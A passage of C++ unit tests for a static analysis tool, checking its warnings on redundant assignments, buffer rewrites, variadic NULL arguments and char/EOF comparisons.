check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n 